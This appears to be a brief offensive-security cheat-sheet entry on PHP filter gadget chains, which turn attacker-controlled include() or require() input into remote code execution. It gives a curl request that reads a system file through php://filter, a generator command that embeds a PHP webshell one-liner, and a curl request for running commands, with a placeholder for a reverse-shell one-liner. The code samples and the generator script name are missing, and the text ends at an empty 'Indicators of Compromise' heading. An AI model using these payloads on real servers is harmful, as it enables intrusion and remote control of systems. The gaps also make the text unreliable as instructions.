PHP Filter Gadget Chain


A PHP Filter Gadget Chain is a technique used to obtain PHP code execution against a PHP-enabled web server, when the attacker is able to control the input to a require() or include() function call.


A PHP enabled web server, alongside some vulnerable code.


Either of the following function calls are vulnerable to this attack. As long as the attacker-controlled input is not mangled too heavily prior to the include or require function calls, then this attack should still work. Ideally the input is not mangled at all.

# OR

The chain requires that extension=iconv is set in the php.ini file, this is usually /etc/php/php.ini

This can be tested by performing the following request to see if any output is produced:

curl http://ip/index.php?page=php://filter/convert.base64-encode/resource=/etc/hostname

If the base64 encoded hostname is rendered to the site, then this RCE is possible.


Method 1 - PHP Filter Gadget Chain Generator

Using this repository, and any PHP code that can lead to code execution on the target (see Basic PHP Webshell Oneliner), the following command can be used to exploit the target:

python3 --chain '<?php system($_GET["cmd"]); ?>' | tail -n1

gadget chain

Then, it's possible to run commands by using the following command:

curl http://ip/index.php?page=<gadget chain>&cmd=<reverse shell oneliner>

Indicators of Compromise